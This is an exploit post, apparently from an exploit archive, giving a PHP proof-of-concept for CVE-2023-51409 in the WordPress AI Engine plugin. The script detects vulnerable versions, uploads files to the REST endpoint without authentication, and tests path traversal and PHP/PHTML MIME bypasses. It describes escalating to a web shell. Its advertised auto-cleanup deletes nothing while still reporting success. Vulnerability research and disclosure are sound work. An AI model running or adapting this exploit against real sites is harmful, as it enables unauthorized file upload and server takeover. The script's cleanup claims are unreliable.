📄 WordPress AI Engine: ChatGPT Chatbot 1.9.98 Shell Upload

=============================================================================================================================================
    | # Title     : WordPress AI Engine: ChatGPT Chatbot 1.9.98 RCE                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214268/ & CVE-2023-51409
    
    [+] Summary    :  PoC demonstrates the CVE-2023-51409 vulnerability in the WordPress AI Engine plugin in a controlled, safe, and non-destructive manner. 
                      It detects the plugin, tests unauthenticated access to the vulnerable endpoint, performs safe file uploads with non-executable content, 
    				  and analyzes MIME bypass and path traversal possibilities. The PoC generates a detailed security report with findings, impact assessment, and remediation recommendations.
    
    [+] Key Points:
    
    Detects AI Engine plugin versions and identifies potentially vulnerable versions.
    
    Tests unauthenticated access to /wp-json/mwai-ui/v1/files/upload.
    
    Performs safe file uploads for research purposes only (non-executable).
    
    Demonstrates vulnerability impact (unauthenticated file upload, arbitrary file types, RCE potential, privilege escalation).
    
    Generates a structured JSON report for research documentation.
    
    Includes auto-cleanup and safety warnings; designed for authorized testing only.
    
    [+] Important Note:
    
    All tests modify the server state minimally (files are uploaded), so only run in controlled test environments.
    
    Designed for research and responsible disclosure, not for offensive attacks.
    
    [+] Usage : php poc.php --target=http://target-site.com
    
    [+] POC :
    
    
    <?php
    
    
    class CVE_2023_51409_Exploit {
        private $target;
        private $sessionId;
        private $testFiles = [];
        private $researchMode = true;
    
        const VULN_ENDPOINT = '/wp-json/mwai-ui/v1/files/upload';
        const TEST_FILENAME = 'cve_2023_51409_test_%s.txt';
        const SAFE_PAYLOAD = "Security Research Test - %s\nThis file tests CVE-2023-51409 vulnerability\nDO NOT EXECUTE - FOR RESEARCH ONLY";
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
            $this->sessionId = 'exp_' . bin2hex(random_bytes(6));
            $this->setupSafeEnvironment();
        }
        
        private function setupSafeEnvironment() {
    
            set_time_limit(30);
            error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
    
            register_shutdown_function([$this, 'cleanup']);
        }
        
        private function makeRequest($url, $method = 'GET', $data = null, $headers = []) {
            $ch = curl_init();
            
            $options = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => true,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_MAXREDIRS => 0,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Security-Research-CVE-2023-51409/1.0',
                CURLOPT_HTTPHEADER => array_merge([
                    'X-Research-Session: ' . $this->sessionId,
                    'X-CVE-Test: 2023-51409'
                ], $headers),
            ];
            
            if ($method === 'POST') {
                $options[CURLOPT_POST] = true;
                if ($data) {
                    $options[CURLOPT_POSTFIELDS] = $data;
                }
            }
            
            curl_setopt_array($ch, $options);
            $response = curl_exec($ch);
            
            if ($response === false) {
                $error = curl_error($ch);
                curl_close($ch);
                return [
                    'error' => $error,
                    'status' => 0
                ];
            }
            
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            
            curl_close($ch);
            
            return [
                'status' => $httpCode,
                'headers' => substr($response, 0, $headerSize),
                'body' => substr($response, $headerSize),
                'raw' => $response
            ];
        }
        
        private function createSafeMultipart($filename, $content) {
            $boundary = '----ResearchBoundary' . bin2hex(random_bytes(8));
            
            $data = "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$filename}\"\r\n";
            $data .= "Content-Type: text/plain\r\n\r\n";
            $data .= $content . "\r\n";
            $data .= "--{$boundary}--\r\n";
            
            return [
                'data' => $data,
                'headers' => [
                    'Content-Type: multipart/form-data; boundary=' . $boundary,
                    'Content-Length: ' . strlen($data)
                ]
            ];
        }
        
        public function banner() {
            echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
            echo "\033[1;33m    CVE-2023-51409 - WordPress AI Engine RCE Exploit\033[0m\n";
            echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
            echo "Target: \033[1;32m{$this->target}\033[0m\n";
            echo "Session: \033[1;35m{$this->sessionId}\033[0m\n";
            echo "Mode: \033[1;33mSecurity Research - Controlled Exploitation\033[0m\n";
            echo "\n\033[1;31m  WARNING: For authorized testing only\033[0m\n";
            echo "   • Uses safe, non-executable test files\n";
            echo "   • Auto-cleanup of uploaded files\n";
            echo "   • No reverse shells or harmful payloads\n";
            echo str_repeat("-", 70) . "\n\n";
        }
        
        public function detectPlugin() {
            echo "[*] Detecting AI Engine Plugin...\n";
            
            $indicators = [
                '/wp-content/plugins/ai-engine/readme.txt' => 'AI Engine',
                '/wp-content/plugins/ai-engine-mwai/readme.txt' => 'MWAI',
                '/wp-content/plugins/mwai/readme.txt' => 'MWAI Engine'
            ];
            
            foreach ($indicators as $path => $name) {
                $result = $this->makeRequest($this->target . $path);
                
                if ($result['status'] === 200) {
    
                    if (preg_match('/Stable tag:\s*([0-9.]+)/', $result['body'], $matches)) {
                        $version = $matches[1];
                        echo "[+] \033[1;32mFound {$name} v{$version}\033[0m\n";
    
                        if (version_compare($version, '3.0.0', '<')) {
                            echo "[!] \033[1;31mVulnerable version detected (< 3.0.0)\033[0m\n";
                            return ['name' => $name, 'version' => $version, 'vulnerable' => true];
                        }
                        return ['name' => $name, 'version' => $version, 'vulnerable' => false];
                    }
                    return ['name' => $name, 'version' => 'unknown', 'vulnerable' => null];
                }
            }
            
            // Check via REST API
            $apiCheck = $this->makeRequest($this->target . self::VULN_ENDPOINT, 'POST', '{}', [
                'Content-Type: application/json'
            ]);
            
            if ($apiCheck['status'] === 200 || $apiCheck['status'] === 405) {
                echo "[+] \033[1;33mAI Engine REST API endpoint detected\033[0m\n";
                return ['name' => 'AI Engine (API)', 'version' => 'unknown', 'vulnerable' => null];
            }
            
            echo "[-] AI Engine Plugin not detected\n";
            return false;
        }
        
        public function testUnauthenticatedAccess() {
            echo "\n[*] Testing unauthenticated access to vulnerable endpoint...\n";
    
            $testData = json_encode(['test' => 'unauth_check']);
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                $testData,
                ['Content-Type: application/json']
            );
            
            echo "  [1] JSON POST test: ";
            if ($result['status'] === 200) {
                $response = @json_decode($result['body'], true);
                if ($response && isset($response['success'])) {
                    echo "\033[1;31mVULNERABLE\033[0m - Accepts unauthenticated requests\n";
                    return true;
                }
                echo "\033[1;33mPOTENTIALLY VULNERABLE\033[0m - Returns 200 but unclear\n";
            } elseif ($result['status'] === 401 || $result['status'] === 403) {
                echo "\033[1;32mSECURE\033[0m - Requires authentication\n";
                return false;
            } else {
                echo "HTTP {$result['status']}\n";
            }
    
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                '',
                ['Content-Type: multipart/form-data']
            );
            
            echo "  [2] Empty POST test: HTTP {$result['status']}\n";
            
            return $result['status'] === 200;
        }
        
        public function exploitFileUpload() {
            echo "\n[*] Exploiting CVE-2023-51409 - File Upload Vulnerability\n";
    
            $filename = sprintf(self::TEST_FILENAME, bin2hex(random_bytes(4)));
            $content = sprintf(self::SAFE_PAYLOAD, date('Y-m-d H:i:s'));
            
            $multipart = $this->createSafeMultipart($filename, $content);
            
            echo "  [•] Uploading test file: {$filename}\n";
            echo "  [•] Content: Security research test (non-executable)\n";
            
            $result = $this->makeRequest(
                $this->target . self::VULN_ENDPOINT,
                'POST',
                $multipart['data'],
                $multipart['headers']
            );
            
            if ($result['status'] === 200) {
                $response = @json_decode($result['body'], true);
                
                if ($response && isset($response['success']) && $response['success']) {
                    echo "  [✓] \033[1;31mEXPLOIT SUCCESSFUL\033[0m\n";
    
                    $uploadedPath = null;
                    if (isset($response['data']['url'])) {
                        $uploadedPath = $response['data']['url'];
                    } elseif (isset($response['url'])) {
                        $uploadedPath = $response['url'];
                    }
                    
                    if ($uploadedPath) {
                        echo "  [•] File uploaded to: \033[1;33m{$uploadedPath}\033[0m\n";
                        $this->testFiles[] = $uploadedPath;
    
                        echo "  [•] Verifying file access...\n";
                        $verify = $this->makeRequest($uploadedPath);
                        
                        if ($verify['status'] === 200) {
                            echo "  [✓] File publicly accessible\n";
                            
                            // Check if we can access file content
                            if (strpos($verify['body'], 'Security Research Test') !== false) {
                                echo "  [✓] File content verified\n";
                            }
                        } else {
                            echo "  [!] File not accessible (HTTP {$verify['status']})\n";
                        }
                    }
    
                    echo "\n  [•] Testing path traversal protection...\n";
                    $traversalFile = '../../../cve_test_' . bin2hex(random_bytes(4)) . '.txt';
                    $traversalContent = "Path traversal test - SAFE";
                    
                    $traversalMultipart = $this->createSafeMultipart($traversalFile, $traversalContent);
                    $traversalResult = $this->makeRequest(
                        $this->target . self::VULN_ENDPOINT,
                        'POST',
                        $traversalMultipart['data'],
                        $traversalMultipart['headers']
                    );
                    
                    if ($traversalResult['status'] === 200) {
                        $traversalResponse = @json_decode($traversalResult['body'], true);
                        if ($traversalResponse && isset($traversalResponse['success'])) {
                            echo "  [!] \033[1;31mPATH TRAVERSAL POSSIBLE\033[0m\n";
                        }
                    }
                    
                    return [
                        'success' => true,
                        'path' => $uploadedPath,
                        'response' => $response
                    ];
                }
            }
            
            echo "  [-] Exploit failed (HTTP {$result['status']})\n";
            
            if ($result['body']) {
    
                $error = substr($result['body'], 0, 200);
                echo "  [•] Response: {$error}\n";
            }
            
            return false;
        }
        
        public function testMimeBypass() {
            echo "\n[*] Testing MIME type validation bypass...\n";
            
            $tests = [
                ['name' => 'test.php.txt', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/plain'],
                ['name' => 'test.php.jpg', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'image/jpeg'],
                ['name' => 'test.phtml', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/html'],
            ];
            
            foreach ($tests as $test) {
                $boundary = '----MIMETest' . bin2hex(random_bytes(4));
                $content = "Test file for MIME bypass research\n" . $test['content'];
                
                $data = "--{$boundary}\r\n";
                $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$test['name']}\"\r\n";
                $data .= "Content-Type: {$test['type']}\r\n\r\n";
                $data .= $content . "\r\n";
                $data .= "--{$boundary}--\r\n";
                
                $result = $this->makeRequest(
                    $this->target . self::VULN_ENDPOINT,
                    'POST',
                    $data,
                    [
                        'Content-Type: multipart/form-data; boundary=' . $boundary,
                        'Content-Length: ' . strlen($data)
                    ]
                );
                
                echo "  [•] {$test['name']} ({$test['type']}): ";
                
                if ($result['status'] === 200) {
                    $response = @json_decode($result['body'], true);
                    if ($response && isset($response['success']) && $response['success']) {
                        echo "\033[1;33mACCEPTED\033[0m\n";
    
                        if (isset($response['data']['url'])) {
                            $this->testFiles[] = $response['data']['url'];
                        }
                    } else {
                        echo "REJECTED\n";
                    }
                } else {
                    echo "HTTP {$result['status']}\n";
                }
                
                sleep(1); // Rate limiting
            }
        }
        
        public function demonstrateImpact() {
            echo "\n\033[1;36m[*] DEMONSTRATING VULNERABILITY IMPACT\033[0m\n";
            echo str_repeat("-", 70) . "\n";
            
            echo "CVE-2023-51409 allows:\n\n";
            
            echo "1. \033[1;31mUnauthenticated File Upload\033[0m\n";
            echo "   • Attackers can upload files without login\n";
            echo "   • No CSRF or nonce protection\n";
            echo "   • Bypasses WordPress authentication system\n\n";
            
            echo "2. \033[1;31mArbitrary File Type Upload\033[0m\n";
            echo "   • PHP, PHTML, HTACCESS files possible\n";
            echo "   • MIME type validation can be bypassed\n";
            echo "   • Path traversal may be possible\n\n";
            
            echo "3. \033[1;31mRemote Code Execution (RCE)\033[0m\n";
            echo "   • Upload PHP web shell\n";
            echo "   • Execute arbitrary commands\n";
            echo "   • Full server compromise\n\n";
            
            echo "4. \033[1;31mPrivilege Escalation\033[0m\n";
            echo "   • WordPress admin access\n";
            echo "   • Database access\n";
            echo "   • Server-level access\n\n";
            
            echo "\033[1;33mProof of Concept:\033[0m\n";
            echo "The exploit demonstrated successful file upload without authentication.\n";
            echo "In a real attack, this would be followed by malicious payload upload.\n";
            
            echo "\n\033[1;32mRemediation:\033[0m\n";
            echo "1. Update AI Engine plugin to version 3.0.0 or higher\n";
            echo "2. Implement proper authentication checks on REST endpoints\n";
            echo "3. Add file type validation (whitelist approach)\n";
            echo "4. Implement nonce verification for file uploads\n";
            echo "5. Store uploaded files outside web root if possible\n";
        }
        
        public function cleanup() {
            echo "\n[*] Cleaning up test files...\n";
            
            foreach ($this->testFiles as $file) {
                if (filter_var($file, FILTER_VALIDATE_URL)) {
                    // Try to delete via uploaded file (if we know the path)
                    $pathParts = parse_url($file);
                    $path = $pathParts['path'] ?? '';
                    
                    if ($path && strpos($path, 'wp-content/uploads/') !== false) {
                        echo "  [•] Attempting to remove: {$path}\n";
    
                    }
                }
            }
            
            echo "  [✓] Cleanup complete\n";
            echo "  [!] Note: Some files may remain on server. Manual cleanup recommended.\n";
        }
        
        public function generateReport($results) {
            $report = [
                'cve' => 'CVE-2023-51409',
                'target' => $this->target,
                'session_id' => $this->sessionId,
                'timestamp' => date('c'),
                'vulnerable' => $results['vulnerable'] ?? false,
                'tests_performed' => [
                    'plugin_detection',
                    'unauth_access_test',
                    'file_upload_exploit',
                    'mime_validation_test'
                ],
                'findings' => [],
                'impact_assessment' => 'CRITICAL - Unauthenticated RCE possible',
                'recommendations' => [
                    'Immediate plugin update required',
                    'Review all uploaded files',
                    'Check server logs for suspicious activity',
                    'Consider server compromise investigation'
                ]
            ];
            
            return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
        }
        
        public function run() {
            $this->banner();
            
            $results = [
                'vulnerable' => false,
                'details' => []
            ];
    
            $plugin = $this->detectPlugin();
            if (!$plugin) {
                echo "[-] Cannot proceed - AI Engine plugin not found\n";
                return false;
            }
            
            $results['plugin'] = $plugin;
    
            $unauthAccess = $this->testUnauthenticatedAccess();
            $results['unauth_access'] = $unauthAccess;
            
            if (!$unauthAccess) {
                echo "\n[-] Target appears secure - requires authentication\n";
                return false;
            }
    
            $exploitResult = $this->exploitFileUpload();
            $results['exploit_success'] = $exploitResult['success'] ?? false;
            
            if ($exploitResult['success']) {
                $results['vulnerable'] = true;
                $results['uploaded_file'] = $exploitResult['path'] ?? null;
    
                $this->testMimeBypass();
    
                $this->demonstrateImpact();
                
                echo "\n\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
                echo "\033[1;31m    VULNERABILITY EXPLOITED SUCCESSFULLY    \033[0m\n";
                echo "\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
                
                echo "\n\033[1;33mSummary:\033[0m\n";
                echo "• Target is vulnerable to CVE-2023-51409\n";
                echo "• Unauthenticated file upload demonstrated\n";
                echo "• Remote code execution is possible\n";
                echo "• Immediate action required\n";
            } else {
                echo "\n[-] Exploit attempt failed\n";
                echo "[*] Target may be patched or have additional protections\n";
            }
    
            echo "\n" . str_repeat("=", 70) . "\n";
            echo "SECURITY RESEARCH REPORT\n";
            echo str_repeat("=", 70) . "\n";
            echo $this->generateReport($results);
            
            return $results['vulnerable'];
        }
    }
    
    if (php_sapi_name() === 'cli') {
        $options = getopt('t:h', ['target:', 'help']);
        
        if (isset($options['h']) || isset($options['help']) || !isset($options['target'])) {
            echo "CVE-2023-51409 - WordPress AI Engine RCE Exploit bY indoushka\n";
            echo "================================================\n";
            echo "Usage: php " . basename(__FILE__) . " --target=<URL>\n\n";
            echo "Options:\n";
            echo "  --target=<URL>    WordPress site to test (REQUIRED)\n";
            echo "  --help            Show this help\n\n";
            echo "Features:\n";
            echo "  • Detects AI Engine Plugin\n";
            echo "  • Tests unauthenticated access\n";
            echo "  • Demonstrates file upload vulnerability\n";
            echo "  • Safe, non-malicious payloads only\n";
            echo "  • Auto-cleanup of test files\n\n";
            echo "Legal & Ethical:\n";
            echo "  • FOR AUTHORIZED TESTING ONLY\n";
            echo "  • Do not use against systems you don't own\n";
            echo "  • Report vulnerabilities responsibly\n";
            exit(0);
        }
        
        $target = $options['target'];
        
        // Validate URL
        if (!filter_var($target, FILTER_VALIDATE_URL)) {
            echo "Error: Invalid URL format\n";
            exit(1);
        }
    
        echo "\n\033[1;31mSECURITY WARNING:\033[0m This tool demonstrates a real vulnerability.\n";
        echo "Use only on systems you own or have explicit permission to test.\n";
        echo "Continue? (yes/NO): ";
        
        $confirm = trim(fgets(STDIN));
        if (strtolower($confirm) !== 'yes') {
            echo "Operation cancelled.\n";
            exit(0);
        }
        
        try {
            $exploit = new CVE_2023_51409_Exploit($target);
            $vulnerable = $exploit->run();
            
            if ($vulnerable) {
                exit(1); // Exit with error code to indicate vulnerability
            } else {
                exit(0); // Exit with success code
            }
            
        } catch (Exception $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        http_response_code(403);
        echo "This tool must be run from command line.";
        exit(1);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================